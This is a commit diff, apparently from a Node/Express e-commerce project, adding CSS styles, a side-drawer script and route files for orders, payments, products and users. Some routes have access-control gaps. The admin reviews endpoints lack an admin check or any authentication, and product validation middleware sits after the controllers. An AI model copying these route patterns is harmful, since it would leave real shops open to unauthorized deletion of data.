.mobile-nav__item button:active {
background: linear-gradient(
90deg,
rgba(2, 0, 36, 1) 0%,
rgba(13, 13, 38, 1) 0%,
rgba(0, 212, 255, 1) 100%
);
color: white;
border-radius: 3px;
}
#side-menu-toggle {
border: 1px solid white;
font: inherit;
padding: 0.5rem;
display: block;
background: transparent;
color: white;
cursor: pointer;
}
#side-menu-toggle:focus {
outline: none;
}
#side-menu-toggle:active,
#side-menu-toggle:hover {
color: #ffeb3b;
border-color: #ffeb3b;
}
.backdrop {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100vh;
background: rgba(0, 0, 0, 0.5);
z-index: 5;
display: none;
}
.grid {
display: flex;
flex-wrap: wrap;
justify-content: space-around;
align-items: stretch;
}
.card {
box-shadow: 0 2px 8px rgba(4, 151, 196, 0.425);
justify-content: center;
}
.card__header,
.card__content {
padding: 1rem;
}
.card__header h1,
.card__content h1,
.card__content h2,
.card__content p {
margin: 0;
}
.card__image {
width: 100%;
}
.card__image img {
width: 100%;
}
.card__actions {
padding: 1rem;
text-align: center;
}
.card__actions button,
.card__actions a {
margin: 0 0.25rem;
}
.btn {
display: inline-block;
padding: 0.25rem 1rem;
text-decoration: none;
font: inherit;
border: 1px solid #0d042e;
color: #0d042e;
background: white;
border-radius: 3px;
cursor: pointer;
}
.btn:hover,
.btn:active {
background-color: #0d042e;
color: white;
}
.btn.danger {
color: red;
border-color: red;
}
.btn.danger:hover,
.btn.danger:active {
background: red;
color: white;
}
.user-message {
margin: auto;
width: 90%;
border: 1px solid rgb(6, 71, 97);
padding: 0rem;
color: rgb(6, 71, 97);
display: flex;
justify-content: center;
}
.user-message--error {
background: white;
border: 1px solid red;
color: red;
}
.pagination {
margin-top: 2rem;
text-align: center;
}
.pagination a {
text-decoration: none;
color: rgb(4, 59, 41);
padding: 1rem;
border: 1px solid rgb(4, 59, 41);
margin: 0 1rem;
border-radius: 50%;
}
.pagination a:hover,
.pagination a:active,
.pagination a.active {
background-color: rgb(4, 19, 59);
color: white;
}
@media (min-width: 768px) {
.main-header__nav {
display: flex;
}
#side-menu-toggle {
display: none;
}
.user-message {
width: 30rem;
}
}
img {
height: 15rem;
}

View File

@@ -0,0 +1,29 @@
.orders {
list-style: none;
padding: 0;
margin: 0;
}
.orders__item h1 {
margin: 0;
font-size: 1rem;
}
.orders__item {
box-shadow: 2px 2px 8px 2px rgba(3, 1, 82, 0.822);
padding: 1rem;
margin-bottom: 1rem;
}
.orders__products {
list-style: none;
margin: 0;
padding: 0;
}
.orders__products-item {
margin: 0.5rem 0;
padding: 0.5rem;
border: 1px solid #070957;
color: #170653;
}

View File

@@ -0,0 +1,27 @@
.product-form {
width: 20rem;
max-width: 90%;
margin: auto;
display: block;
}
.product-item {
width: 20rem;
max-width: 95%;
margin: 1rem;
}
.product__title {
font-size: 1.2rem;
text-align: center;
}
.product__price {
text-align: center;
color: #4d4d4d;
margin-bottom: 0.5rem;
}
.product__description {
text-align: center;
}

16
server/public/js/main.js Normal file
View File

@@ -0,0 +1,16 @@
const backdrop = document.querySelector('.backdrop');
const sideDrawer = document.querySelector('.mobile-nav');
const menuToggle = document.querySelector('#side-menu-toggle');
function backdropClickHandler() {
backdrop.style.display = 'none';
sideDrawer.classList.remove('open');
}
function menuToggleClickHandler() {
backdrop.style.display = 'block';
sideDrawer.classList.add('open');
}
backdrop.addEventListener('click', backdropClickHandler);
menuToggle.addEventListener('click', menuToggleClickHandler);

View File

@@ -0,0 +1,17 @@
const express = require('express');
const { newOrder, getSingleOrderDetails, myOrders, getAllOrders, updateOrder, deleteOrder } = require('../controllers/orderController');
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
const router = express.Router();
router.route('/order/new').post(isAuthenticatedUser, newOrder);
router.route('/order/:id').get(isAuthenticatedUser, getSingleOrderDetails);
router.route('/orders/me').get(isAuthenticatedUser, myOrders);
router.route('/admin/orders').get(isAuthenticatedUser, authorizeRoles("admin"), getAllOrders);
router.route('/admin/order/:id')
.put(isAuthenticatedUser, authorizeRoles("admin"), updateOrder)
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteOrder);
module.exports = router;

View File

@@ -0,0 +1,13 @@
const express = require('express');
const { processPayment, paytmResponse, getPaymentStatus } = require('../controllers/paymentController');
const { isAuthenticatedUser } = require('../middlewares/user_actions/auth');
const router = express.Router();
router.route('/payment/process').post(processPayment);
router.route('/callback').post(paytmResponse);
router.route('/payment/status/:id').get(isAuthenticatedUser, getPaymentStatus);
module.exports = router;

View File

@@ -0,0 +1,26 @@
const express = require('express');
const { getAllProducts, getProductDetails, updateProduct, deleteProduct, getProductReviews, deleteReview, createProductReview, createProduct, getAdminProducts, getProducts } = require('../controllers/productController');
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
const { validateProduct } = require('../middlewares/validator');
const router = express.Router();
router.route('/products').get(getAllProducts);
router.route('/products/all').get(getProducts);
router.route('/admin/products').get(isAuthenticatedUser, authorizeRoles("admin"), getAdminProducts, validateProduct);
router.route('/admin/product/new').post(isAuthenticatedUser, authorizeRoles("admin"), createProduct, validateProduct);
router.route('/admin/product/:id')
.put(isAuthenticatedUser, authorizeRoles("admin"), updateProduct)
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteProduct);
router.route('/product/:id').get(getProductDetails);
router.route('/review').put(isAuthenticatedUser, createProductReview);
router.route('/admin/reviews')
.get(getProductReviews)
.delete(isAuthenticatedUser, deleteReview);
module.exports = router;

View File

@@ -0,0 +1,27 @@
const express = require('express');
const { registerUser, loginUser, logoutUser, getUserDetails, forgotPassword, resetPassword, updatePassword, updateProfile, getAllUsers, getSingleUser, updateUserRole, deleteUser } = require('../controllers/userController');
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
const router = express.Router();
router.route('/register').post(registerUser);
router.route('/login').post(loginUser);
router.route('/logout').get(logoutUser);
router.route('/me').get(isAuthenticatedUser, getUserDetails);
router.route('/password/forgot').post(forgotPassword);
router.route('/password/reset/:token').put(resetPassword);
router.route('/password/update').put(isAuthenticatedUser, updatePassword);
router.route('/me/update').put(isAuthenticatedUser, updateProfile);
router.route("/admin/users").get(isAuthenticatedUser, authorizeRoles("admin"), getAllUsers);
router.route("/admin/user/:id")
.get(isAuthenticatedUser, authorizeRoles("admin"), getSingleUser)
.put(isAuthenticatedUser, authorizeRoles("admin"), updateUserRole)
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteUser);
module.exports = router;

Some files were not shown because too many files have changed in this diff Show More